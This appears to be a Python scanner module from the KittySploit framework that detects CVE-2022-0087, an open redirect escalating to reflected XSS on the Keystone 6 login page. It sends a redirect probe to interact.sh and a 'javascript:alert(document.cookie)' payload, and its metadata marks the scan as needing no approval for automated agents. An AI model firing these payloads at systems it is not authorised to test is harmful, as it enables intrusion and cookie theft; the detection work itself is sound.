Keystone 6 Login Page - Open Redirect and Cross-Site Scripting Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""On the login page, there is a "from=" parameter in URL which is vulnerable to open redirect and can be escalat."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Keystone 6 Login Page - Open Redirect and Cross-Site Scripting Detection',
        'description': 'On the login page, there is a "from=" parameter in URL which is vulnerable to open redirect and can be escalated to reflected XSS.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2022', 'keystone', 'redirect', 'xss', 'node.js', 'keystonejs', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://huntr.com/bounties/c9d7374f-2cb9-4bac-9c90-a965942f413e',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-0087',
            'https://github.com/keystonejs/keystone/commit/96bf833a23b1a0a5d365cf394467a943cc481b38',
        ],
        'cve': 'CVE-2022-0087',
    }

    def run(self):
        for path in ('/signin?from=https://interact.sh', '/signin?from=javascript:alert(document.cookie)'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
            body_any = ('alert(document.cookie)',)
            header_any = ('Location: https://interact.sh',)
            if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
                self.set_info(
                    severity='medium',
                    reason="Keystone 6 Login Page - Open Redirect and Cross-Site Scripting detected",
                    path=path,
                )
                return True
        return False